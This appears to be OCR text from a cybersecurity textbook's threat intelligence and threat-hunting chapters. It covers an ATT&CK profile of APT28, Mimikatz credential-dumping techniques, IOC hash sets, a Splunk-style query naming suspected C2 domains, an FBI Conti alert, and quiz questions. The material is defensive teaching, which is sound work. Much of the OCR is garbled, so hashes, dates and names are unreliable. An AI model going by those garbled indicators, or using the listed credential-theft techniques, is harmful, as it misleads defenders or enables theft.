APT28 is a threat group that has been attributed 1o Russia's General Stafl Main Inteligence Directorate (GRU)

B5th Main Special Service Centar (GT5SS) military unit 26165.1") This group has been active since at least
2004141 8 1 15) fea 0y e 19 [0} ol 12

APT28 reportedly compromised the Hillary Clinton

D C

the D 1 G and the

1 C: g G In 2076 in an atternpt to interfere with the U.S. presidential
election. '/ In 2018, the US indicted five GRU Unit 26165 officers associated with APT28 for cyber

1D: 60007

@ Associated Groups: SNAKEMACKEREL,

Swallowtall, Group 74, Sednit, Sofacy, Pawn
Storm, Fancy Bear, STRONTIUM, Tsar Team,
Threat Group-4127, TG-4127

Contributors: Séb Ruel, CGI; Drew

(including close-access op ducted b 2014 and 2018 against the World Ant-Doping
Agency (WADA), the US Anti-Doping Agency, a US nuciear facility, the Org fot the Prohi of
Chemical Weapons (OPCW), the Spiez Swiss Chemicals Lab y. and other org 1" some of

these were conducted with the assistance of GRU Unit 74455, which Is also referred to as Sandworm Team.

Figure 17.6 — APT28 profile

Associated Group Descriptions

Name
SNAKEMACKEREL
Swallowtall

Group 74

Sednit

Sofacy

Pawn Storm
Fancy Bear
STRONTIUM

Tsar Team

Threat Group-4127

164127

Description

4

mi

1)

Church, Splunk; Emily Ratliff, IBM; Richard
Gold, Digital Shadows

Version: 31
Created: 31 May 2017
Last Modified: 19 April 2021

This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. 7l (€ 1161 31

This designation has been used in reporting both to refer to the threat group and its associated malware. {51 (€114 [17] (=515

[} 17l8)

(4] {re] 17 B SENOES)

[y 117] [208 i1 018

h7lsies

14

)

Figure 17.7 — APT28 Associated Group Descriptions



Techniques Used

Domain L]

Enterprise  T1134

Enterprise 71583

Enterprise 71595

Enterprise  T1071

$0002  Mimikatz

Mimikatz

001

001

003

Name

Access Token
M. (!

ATTECK®

Use

APT28 has used CVE-2015-1701 10 access the SYSTEM token and copy it into the current process as part of
o 1221

Token

Impersonation/Theft

Acquire APT28 reg dd i g NATO, OSCE Y C f and

Infrastructure; other organizations, = ')

Domains

Aclive Scanning; APT28 has performed large-scale scans in an attempt to find vulnerable servers /!

Vuinerahility

Scanning

Application Layer APT28 used SMTP as a ication ch J in various i initially using self-registered Google

Protocol: Mail Mail and later comp d email servers of its victims |*!

Protocols

Application Layer Later implants used by APTZ8, such as CHOPSTICK, use a blend of HTTP and other legitimate channels for

Protocol; Web C2, depending on module confi ion, !

Protocols

Figure 17.8 — APT28 Techniques Used

tel Access Token Manipulation: SID-History Injection, A Manip Boot or Logon Autostart Execution: Security
Support Provider, Credentials from P: d Stoses: Cf from Web B Ci ials from P d
Stores, Credentials from P: d Stores: Wind Credential Manager, 0S ( ial Dumping: LSASS Memory, 0S
Credential Dumping: DCSync, OS Credential Dumping: Security A Manager, OS Credential Dumping: LSA
Secrets, Rogue Domain Controller, Steal or Forge Kerbefos ‘I’ickets Silver Tlckei. Steal or Forge Kerberos Tickets:
Golden Ticket, Unsecured Credentials: Private Keys, Use Al A A I: Pass the Hash, Use

1t 2 A ial: Pass the Ticket

Figure 17.9 — Mimikatz tool use

Miymkatz s 8 credential dumper capatile of abtaning plaimedt Windows scooun logins and passwords

sinng with maey other Sestares that make #t aseful for testing the security of petworks. '

10: 50002

0 Type TOOL

) Platforma: Windows
Contributoes: Viecnnt Le Tous
Varsaon 13
Craated: 31 May 7017
Last Moddind: (19 Fetsteary 2027

Figure 17.10 — Mimikatz tool profile
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Figure 17.11 — ATT&CK Navigator
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Figure 17.13 — ATT&CK Navigator multiselect feature
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Figure 17.15 — ATT&CK Navigator technique control score
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Figure 17.16 — ATT&CK Navigator capture options
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Figure 17.18 — HAFNIUM intelligence sources
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Figure 17.20 - 10C download
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Figure 17.21 - CTl Uncoder upload
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Figure 17.22 - 10C CSV file
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Figure 17.23 — Autopsy Hash Sets upload



M Create Hash Set

Destination: (@) Local (O) Remote (Central Repository)
Name: || |

HashSetPath:! | l Save As...

Source Organization: |Not Specfied - | | Manage Organizations
Type:

(O Known

@ Notable

(O No Change

[] Send ingest inbox messages for each hit OK

Figure 17.24 — Create Hash Set



M Add Hashes to Hash Set

Paste MD5 hash values {one per ling) below:

0fd9bffa49c76ee12e51e3b8aelt0%ac
4b3039cf227c611c45d2242d 12282121
79eb217578bed4c250803bd573b 10151
a079b04ae 1b%a4f0e0f069f1d0076fea
8af476e24db8d3cd76b2d8d3d88%bb5c
2183ebb1089ddf4cd092d74b51d57a59
27a75d5d4263c400767ece37dbda2687
d6a82b866f7f9e 1e01bf39c3da106d9d
74b 1fe8003e43195458bcachOceffSec
853ca4065d469530729520900b 1b6e05
S5cfdb7340316abc5586448842c52aabce
7a6c605af4b85954f62f35d648d532bf
Sbdbgbsdfb20827a6ffebbees71d3a04
111ec8b1e728b6e60a37b8c27f489305
b0e%0d483ac14f1929debedse8af378a
802312f75c4e4214eb7a638aecc48741
5544ba%ad1b56101b5d52b5270421d4a
afbfed6574525ea2ae65cd2c208c90b2

96615abf60b920de78e7c269fb93d31d
\hafRrSNf1a33facc31ra7e5533A1223

[ Paste From Clipboard ’ L OK J[

Figure 17.25 — Hash values

* Add | lashes to | lash Set Progress

S
36 Haches added successfully.

Figure 17.26 — Hash set upload
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Figure 17.27 — Maltego GUI

VirusTotal (Public API)
by Maltego Technologies

Query the VirusTotal Public APl for hashes,

IP addresses, domains and more. Sign-up for

a free APl key at: [DETAILS]
https://www virustotal. com/guijoin-us [INSTALL]

Figure 17.28 — VirusTotal transform



VirusTotal (Public API)
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Figure 17.30 — Maltego New Graph
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Figure 17.31 — Run Transforms
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Figure 17.32 — IP address graph
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Figure 17.33 — VirusTotal hash return
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Figure 17.34 — Loki files
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Figure 17.35 — The signature-base file



Figure 17.36 — Loki scan

OWNER

WNER
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Figure 17.37 - Loki scan output



Figure 17.38 — Loki scan hit

Code and Commands:

Command 17.1:

(dest host="api.onedvirer.xyz" OR dest host="rawfuns.com"
OR dest host="yolkish.com" OR dest host="back.rooter.tk" OR
dest host="lab.symantecsafe.org" OR

dest host="mm.portomnail.com" OR dest host="ns.rtechs.org"

OR dest host="p.estonine.com" OR
dest host="soft.mssysinfo.xyz" OR
dest host="www.averyspace.net" OR
dest host="www.komdsecko.net")

Questions

1. What is not a key element of intelligence?
e Indicator of compromise
e Utility
e Evidence-based
e Actionable

2. Which of the following is part of the cyber kill chain?
e  Phishing
e Weaponization
e Malware

e |OC
3. TTPs describe actions taken by adversaries during a network attack.
e True

e False



4. Which is not a threat intelligence type?

e QOperational

e Strategic
e Defense
e Tactical

Further reading

Refer to the following for more details on the topics covered in this chapter:

Operationalizing Threat Intelligence:

What Is Threat Intelligence? Definition and Examples:

Suricata:

The Zeek Network Security Monitor: _
Snort: hitps://www.snort.org/

Alient vault hit:



https://www.snort.org/
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Figure 18.1 — Threat hunt cycle




/ TLP:WHITE

FBIl Fras

FEDERAL BUREAU OF INVESTIGATION, CYBER DIVISION

20 May 2021

Alert Number

CP-000147-MW

WE NEED YOUR
HELP!
If you find any of
these indicators on
your networks, or
have related
information, please
contact
FBI CYWATCH
immediately.
Email:

cywatch@fbi.gov

Phone:
1-855-292-3937

*Note: By reporting any related
information to FBI CyWatch,
you are assisting in sharing

The following information is being provided by the FBI, with no
guarantees or warranties, for potential use at the sole discretion of
recipients in order to protect against cyber threats. This data is
provided to help cyber security professionals and system
administrators guard against the persistent malicious actions of cyber
actors.

This FLASH has been released ptAWV:1113

Conti Ransomware Attacks Impact Healthcare
and First Responder Networks

Summary

The FBI identified at least 16 Conti ransomware attacks targeting US
healthcare and first responder networks, including law enforcement
agencies, emergency medical services, 9-1-1 dispatch centers, and
municipalities within the last year. These healthcare and first
responder networks are among the more than 400 organizations
worldwide victimized by Conti, over 290 of which are located in the
U.S. Like most ransomware variants, Conti typically steals victims’ files
and encrypts the servers and workstations in an effort to force a
ransom payment from the victim. The ransom letter instructs victims
to contact the actors through an online portal to complete the
transaction. If the ransom is not paid, the stolen data is sold or
published to a public site controlled by the Conti actors. Ransom
amounts vary widely and we assess are tailored to the victim. Recent
ransom demands have been as high as $25 million.

Figure 18.2 — FBI alert



H thesi + An attacker has implanted a Cobalt Strike beacon within the internal enterprise
YPOInesis that is communicating with a known C2 server
+ Command and Scripting Interpreter: PowerShell [T1059.001
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» Remote Services: Remote Desktop Protocol [T1021.001]
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» Security Onion
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Figure 18.3 — Threat hunt plan
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Figure 18.4 — Configuring a threat hunt



New Hunt - Configure Hunt

Description Remote Desklop Connections

Expiry 9/18/2022 558 PMv x [

Include Condition Run everywhere v

Exclude Condition Run everywhere ~
Estmated affected clients 4 All known Clignts  ~

Figure 18.5 — Threat hunt description

Create Hunt: Select artifacts to collect

] Remote]

Admin Client Upgrade
Windows Eventiogs RDPAuth
Windows Farenscs BulkExtractor

Windows Registry MountPoints2

Figure 18.6 — Setting artifacts to collect



Results

Total scheduled 2
Finished clients 2
Download Results L =

Available Downloads Full Download

Summary Download
name $ si

Summary (CSV Only)

Summary (JSON Only)

Questions

Answer the following questions to test your knowledge of this chapter:

2022-08-2: DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft:
2022-08-2: DESKTOP- Microsoft-
2022-08-2. DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft-
2022-08-2: DESKTOP- Microsoft-
2022-08-31 DESKTOP- Microsoft-
2022-08-31 DESKTOP- Microsoft-
2022-08-31 DESKTOP- Microsoft:
2022-08-3t{ DESKTOP- Microsoft-
2022-08-31 DESKTOP- Microsoft-
2022-08-3{ DESKTOP- Microsoft-

Figure 18.7 — Download results

22 DESKTOP- AtomicRe null
40 null null null
24 DESKTOP- AtomicRe null
25 DESKTOP- AtomicRe null
40 null null null
24 DESKTOP- AtomicRe null
23 DESKTOP- AtomicRe null
21 DESKTOP- AtomicRe null
22 DESKTOP- AtomicRe null
21 DESKTOP- AtomicRe null
22 DESKTOP- AtomicRe null
40 null null null
24 DESKTOP- AtomicRe null
25 DESKTOP- AtomicRe null
40 null null null
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Figure 18.8 — Threat hunt results
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1. At what level of the threat hunting maturity model would technologies such as
machine learning be found?

e HMO
e HMI1
e HM2

e HM3



2. Which of the following is a top 10 I0C?
IP address

Malware signature

Excessive file request

e URL

3. Athreat hunt-initiating event can be a threat intelligence report.
e True
e False

4. A working hypothesis is a generalized statement regarding the intent of the
threat hunt.
o True
e False

Further reading

Refer to the following for more details about the topics covered in this chapter:

e Your Practical Guide to Threat Hunting:

e Threat hunting with Velociraptor:




